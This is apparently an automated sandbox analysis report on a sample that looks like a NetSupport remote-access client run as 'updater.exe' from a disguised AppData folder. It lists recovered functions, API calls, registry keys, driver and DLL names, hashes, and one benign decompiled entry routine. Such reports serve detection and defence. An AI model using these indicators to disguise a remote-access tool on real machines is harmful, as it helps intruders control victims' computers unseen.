Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile$ChangeCloseFindNotification
String ID: "
API String ID: 353575653-123907689
Opcode ID: 7a1e0e4b99865e682fb8aefe1b378640ee8558a614cdda32459534f13f8ca753
Instruction ID: 3d5505e67506a11152adc20893aebb2e29c51f354ea5d43c8ad60c1cab3f6bda
Opcode Fuzzy Hash: 7a1e0e4b99865e682fb8aefe1b378640ee8558a614cdda32459534f13f8ca753
Instruction Fuzzy Hash: 5921BB31A092B9AFE332CE38DD54BD9BB989B42B14F3002E0E4D5AB5C1DBB19948C750

Uniqueness

Uniqueness Score: -1.00%

Function 110179E0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 110179ED

Part of subcall function 110178F0: WaitForSingleObject.KERNEL32(00000330,000000FF), ref: 1101792C
Part of subcall function 110178F0: CoInitialize.OLE32(00000000), ref: 11017935
Part of subcall function 110178F0: _GetRawWMIStringW@16.PCICL32(Win32_ComputerSystem,00000001,?,?), ref: 1101795C
Part of subcall function 110178F0: CoUninitialize.OLE32 ref: 110179C0

Part of subcall function 11017810: WaitForSingleObject.KERNEL32(00000330,000000FF), ref: 11017842
Part of subcall function 11017810: CoInitialize.OLE32(00000000), ref: 1101784B
Part of subcall function 11017810: _GetRawWMIStringW@16.PCICL32(Win32_SystemEnclosure,00000001,?,?), ref: 11017872
Part of subcall function 11017810: CoUninitialize.OLE32 ref: 110178D0

SetEvent.KERNEL32(00000330), ref: 11017A0D
GetTickCount.KERNEL32 ref: 11017A13

Strings

touchkbd, systype=%d, chassis=%d, took %d ms, xrefs: 11017A1D

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountInitializeObjectSingleStringTickUninitializeW@16Wait$Event
String ID: touchkbd, systype=%d, chassis=%d, took %d ms
API String ID: 3804766296-4122679463
Opcode ID: 610e40d61194c34f9e635cc577eb4e6ba02d92eb7ed74a53a25a0e307046be88
Instruction ID: 40d604bc36e6f054513ad574895ebf983a142e9fcea0f5d6417744b2b8156d0d
Opcode Fuzzy Hash: 610e40d61194c34f9e635cc577eb4e6ba02d92eb7ed74a53a25a0e307046be88
Instruction Fuzzy Hash: 74F0A0B6E8021C6FE700DBF99D89E6EB79CDB44318B100436E914C7201E9A2BC1187A1

Uniqueness

Uniqueness Score: -1.00%

Function 00821020, Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_() {
				struct _STARTUPINFOA _v72;
				char _t11;
				char _t12;
				signed int _t14;
				int _t16;
				intOrPtr _t17;
				char* _t18;

				_t18 = GetCommandLineA();
				_t11 =  *_t18;
				if(_t11 != 0x22) {
					if(_t11 <= 0x20) {
						L9:
						_t12 =  *_t18;
						if(_t12 == 0) {
							L12:
							_v72.dwFlags = 0;
							GetStartupInfoA( &_v72);
							_t14 = _v72.wShowWindow & 0x0000ffff;
							if((_v72.dwFlags & 0x00000001) == 0) {
								_t14 = 0xa;
							}
							_t16 = E00821000(GetModuleHandleA(0), 0, _t18, _t14); // executed
							ExitProcess(_t16);
						}
						while(_t12 <= 0x20) {
							_t12 =  *((intOrPtr*)(_t18 + 1));
							_t18 = _t18 + 1;
							if(_t12 != 0) {
								continue;
							}
							goto L12;
						}
						goto L12;
					} else {
						goto L8;
					}
					do {
						L8:
						_t18 = _t18 + 1;
					} while ( *_t18 > 0x20);
					goto L9;
				}
				_t17 =  *((intOrPtr*)(_t18 + 1));
				_t18 = _t18 + 1;
				if(_t17 == 0) {
					L5:
					if( *_t18 != 0x22) {
						goto L9;
					}
					L6:
					_t18 = _t18 + 1;
					goto L9;
				}
				while(_t17 != 0x22) {
					_t17 =  *((intOrPtr*)(_t18 + 1));
					_t18 = _t18 + 1;
					if(_t17 != 0) {
						continue;
					}
					goto L5;
				}
				goto L6;
			}

0x0082102d
0x0082102f
0x00821033
0x00821056
0x0082105e
0x0082105e
0x00821062
0x00821070
0x00821074
0x0082107b
0x00821085
0x00821089
0x0082108b
0x0082108b
0x0082109d
0x008210a3
0x008210a3
0x00821064
0x00821068
0x0082106b
0x0082106e
0x00000000
0x00000000
0x00000000
0x0082106e
0x00000000
0x00000000
0x00000000
0x00000000
0x00821058
0x00821058
0x00821058
0x00821059
0x00000000
0x00821058
0x00821035
0x00821038
0x0082103b
0x0082104c
0x0082104f
0x00000000
0x00000000
0x00821051
0x00821051
0x00000000
0x00821051
0x00821040
0x00821044
0x00821047
0x0082104a
0x00000000
0x00000000
0x00000000
0x0082104a
0x00000000

APIs

GetCommandLineA.KERNEL32 ref: 00821027
GetStartupInfoA.KERNEL32(?), ref: 0082107B
GetModuleHandleA.KERNEL32(00000000,00000000,00000000,?), ref: 00821096
ExitProcess.KERNEL32 ref: 008210A3

Memory Dump Source

Source File: 00000006.00000002.916328823.0000000000821000.00000020.00020000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000006.00000002.916321843.0000000000820000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.916336848.0000000000822000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CommandExitHandleInfoLineModuleProcessStartup
String ID:
API String ID: 2164999147-0
Opcode ID: c991ff5fe9495dac9077eac087fcc46d835ac97b2e3568effc64c1c7ab0a7172
Instruction ID: 0fb08f1a121fe326dc4a69f0c291b27bafe659ddb1223e100090448ec86538e8
Opcode Fuzzy Hash: c991ff5fe9495dac9077eac087fcc46d835ac97b2e3568effc64c1c7ab0a7172
Instruction Fuzzy Hash: 7611A120404BE46AEF315F64A88CBEABFA5FB22780F340044E8D6D6146D25648C7C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 111447F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(11029A9F,?,11144A43,?), ref: 111447FC
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe,00000104,?,11144A43,?), ref: 11144819

Strings

C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe, xrefs: 11144804, 11144812

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CurrentFileModuleNameProcess
String ID: C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe
API String ID: 2251294070-3935711772
Opcode ID: 1c167dac2943c3880edf84c13d6a33890db35611affdbb1526e99500c303518b
Instruction ID: b68e03ccdc6c4a6a2c274322f8faab7020ac6906b57b96b3185223f9365e196b
Opcode Fuzzy Hash: 1c167dac2943c3880edf84c13d6a33890db35611affdbb1526e99500c303518b
Instruction Fuzzy Hash: BE11CEB87803539BF704DFA5C9A4B19FBA4AB41B18F20883DE919D7E85EB71E444C780

Uniqueness

Uniqueness Score: -1.00%

Function 11110230, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 11110239

Part of subcall function 11163A11: __FF_MSGBANNER.LIBCMT ref: 11163A2A
Part of subcall function 11163A11: __NMSG_WRITE.LIBCMT ref: 11163A31
Part of subcall function 11163A11: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163A56

_memset.LIBCMT ref: 11110262

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

..\ctl32\Refcount.cpp, xrefs: 1111024C

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocateErrorExitHeapLastMessageProcess_malloc_memsetwsprintf
String ID: ..\ctl32\Refcount.cpp
API String ID: 2803934178-2363596943
Opcode ID: fdaee9942ff38bbfc9813524ff7dbe738d4946ee88f5f3b78065bcb716d44a09
Instruction ID: d1439471c86646bb150eb9b523f3ee6c48551de281bd1a8bb162c90cccd05cf0
Opcode Fuzzy Hash: fdaee9942ff38bbfc9813524ff7dbe738d4946ee88f5f3b78065bcb716d44a09
Instruction Fuzzy Hash: 68E0126AF8062533C511259A6C02FDFF75C8FD2AF9F040031FE0DBA251A596A95181E6

Uniqueness

Uniqueness Score: -1.00%

Function 11015580, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(\\.\NSWFPDrv,80000000,00000000,00000000,00000003,40000000,00000000), ref: 11015597
CloseHandle.KERNEL32(00000000), ref: 110155A8

Strings

\\.\NSWFPDrv, xrefs: 11015592

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseCreateFileHandle
String ID: \\.\NSWFPDrv
API String ID: 3498533004-85019792
Opcode ID: d572e8544444f97a5f3fc22a419c76dea4a94a774e22dfe6340fcb1249187ee5
Instruction ID: 8ee41b20f4352974833a803ddfcebdd3f772c34de5b97fa52423d1e1393adc22
Opcode Fuzzy Hash: d572e8544444f97a5f3fc22a419c76dea4a94a774e22dfe6340fcb1249187ee5
Instruction Fuzzy Hash: 51D09271A410386AF27055A6AD48F87AD099B026B5F220260B939E658486104D4186E0

Uniqueness

Uniqueness Score: -1.00%

Function 1115CCA0, Relevance: 4.7, APIs: 3, Instructions: 158COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 1115CCC3

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _calloc
String ID:
API String ID: 1679841372-0
Opcode ID: 918923e0a1279dfc537c19a69b58c34981e358f5fb15b3a273ee7d5d1eaccc98
Instruction ID: 23015313aa3c4790eb0b31f5809972b43774ae16244dcdf9e0384501427d1f2b
Opcode Fuzzy Hash: 918923e0a1279dfc537c19a69b58c34981e358f5fb15b3a273ee7d5d1eaccc98
Instruction Fuzzy Hash: 7F519F3560021AAFDB90CF58CC80F9ABBB9FF89744F108559E929DB344D770EA11CB90

Uniqueness

Uniqueness Score: -1.00%

Function 11110430, Relevance: 3.8, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(111F1908,8DD58CB8,?,?,?,?,-00000001,1118B2A8,000000FF,?,11110508,00000001,?,1116A543,?), ref: 11110464
EnterCriticalSection.KERNEL32(111F1908,8DD58CB8,?,?,?,?,-00000001,1118B2A8,000000FF,?,11110508,00000001,?,1116A543,?), ref: 11110480
LeaveCriticalSection.KERNEL32(111F1908,?,?,?,?,-00000001,1118B2A8,000000FF,?,11110508,00000001,?,1116A543,?), ref: 111104C8

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID:
API String ID: 3991485460-0
Opcode ID: 503ed64456695a8aee9ef8790988804961b831d33d68d065787b6580b68da22d
Instruction ID: 9bba9b476bfc0c868cb30dd48e950e81aed48164d9983b9afed5b510859fa25d
Opcode Fuzzy Hash: 503ed64456695a8aee9ef8790988804961b831d33d68d065787b6580b68da22d
Instruction Fuzzy Hash: A8118671B4061AAFE7008FA6CDC4B9AF7A8FB4A755F404239E815A7B44E7355804CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 110ED520, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32registryCOMMON

Download Yara Rule

APIs

Part of subcall function 110ED4E0: RegCloseKey.KERNEL32(?,?,?,110ED52D,?,00000000,00000001,?,11030BFF,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED4ED

RegOpenKeyExA.KERNEL32(?,00000056,00000000,00020019,?,?,00000000,00000001,?,11030BFF,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED53C

Part of subcall function 110ED2B0: wvsprintfA.USER32(?,00020019,?), ref: 110ED2DB

Strings

Error %d Opening regkey %s, xrefs: 110ED54A

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseOpenwvsprintf
String ID: Error %d Opening regkey %s
API String ID: 1772833024-3994271378
Opcode ID: be8df2ef407ba96112ec5d755a0622a5b345cfc9aa036e8a0f047f1e9bd60e61
Instruction ID: 5f226866219d47cdc22a26dd3dbb65f90c8b83d3a621ba21e11ce4a3e0407911
Opcode Fuzzy Hash: be8df2ef407ba96112ec5d755a0622a5b345cfc9aa036e8a0f047f1e9bd60e61
Instruction Fuzzy Hash: D8E092BB6012183FD221961F9C88EEBBB2CDB916A8F01002AFE1487240D972EC00C7B0

Uniqueness

Uniqueness Score: -1.00%

Function 110ED4E0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(?,?,?,110ED52D,?,00000000,00000001,?,11030BFF,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED4ED

Part of subcall function 110ED2B0: wvsprintfA.USER32(?,00020019,?), ref: 110ED2DB

Strings

Error %d closing regkey %x, xrefs: 110ED4FD

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Closewvsprintf
String ID: Error %d closing regkey %x
API String ID: 843752472-892920262
Opcode ID: 642cb265c958f950c3ad5309e5a28574da7d5c04021b5162d7a3503cde28986e
Instruction ID: 17a63c7cb3d890cd37713e3b4debf5197f9ef4f9ed7a9792908d4a56e9be20d3
Opcode Fuzzy Hash: 642cb265c958f950c3ad5309e5a28574da7d5c04021b5162d7a3503cde28986e
Instruction Fuzzy Hash: CFE08C7AA025126BE7359A2EAC18F5BBAE8DFC5314F26056EF890C7201EA70C8008764

Uniqueness

Uniqueness Score: -1.00%

Function 11015530, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(nslsp.dll), ref: 1101553E

Strings

nslsp.dll, xrefs: 11015533

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: LibraryLoad
String ID: nslsp.dll
API String ID: 1029625771-3933918195
Opcode ID: e245dc8b85a007af01e470ee7c18d2676676128a69ad62e56e432da1ca6298b9
Instruction ID: c3cee1b6b22d45073264887edccfc8dbbb46eef3a7360ad418ef0f3f90be1ef1
Opcode Fuzzy Hash: e245dc8b85a007af01e470ee7c18d2676676128a69ad62e56e432da1ca6298b9
Instruction Fuzzy Hash: BBC08C702006245BE3900F48BC04081F694AF04900300882AE070C3600D160A8008F80

Uniqueness

Uniqueness Score: -1.00%

Function 11060820, Relevance: 3.1, APIs: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

std::exception::exception.LIBCMT ref: 110608C3
__CxxThrowException@8.LIBCMT ref: 110608D8

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Exception@8Throw_malloc_memsetstd::exception::exceptionwsprintf
String ID:
API String ID: 1338273076-0
Opcode ID: 48220e23525304ab3300727b6217ddd25f76dc3fc229fc3c3b8137cdfff5e675
Instruction ID: 40c1b550870c83f0c669b419c7937a1de5292af9ae005a9ffb354a33ebb971cd
Opcode Fuzzy Hash: 48220e23525304ab3300727b6217ddd25f76dc3fc229fc3c3b8137cdfff5e675
Instruction Fuzzy Hash: F11181BA900609AFC715CF99C840ADAF7F8FB58614F10863EE91997740E774E904CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 1105F7C0, Relevance: 3.0, APIs: 2, Instructions: 47COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1105F806
_memmove.LIBCMT ref: 1105F811

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _malloc_memmove
String ID:
API String ID: 1183979061-0
Opcode ID: 30119d087e067e0d7fd8ccd6e1b50501c0c2e4bd173188fdf4aa3c61b116ce74
Instruction ID: e8b2e2ab67b960fffb59418ca6d045486158c88f9a02fc8ea8f4f968a4d4dde1
Opcode Fuzzy Hash: 30119d087e067e0d7fd8ccd6e1b50501c0c2e4bd173188fdf4aa3c61b116ce74
Instruction Fuzzy Hash: A3F02879A002566F8701CF2C9844897FBDCEF4A25831480A6E849CB302D671EC15C7F0

Uniqueness

Uniqueness Score: -1.00%

Function 11145010, Relevance: 3.0, APIs: 2, Instructions: 34windowCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 11145031
ExtractIconExA.SHELL32(?,00000000,00050441,00060125,00000001), ref: 11145068

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
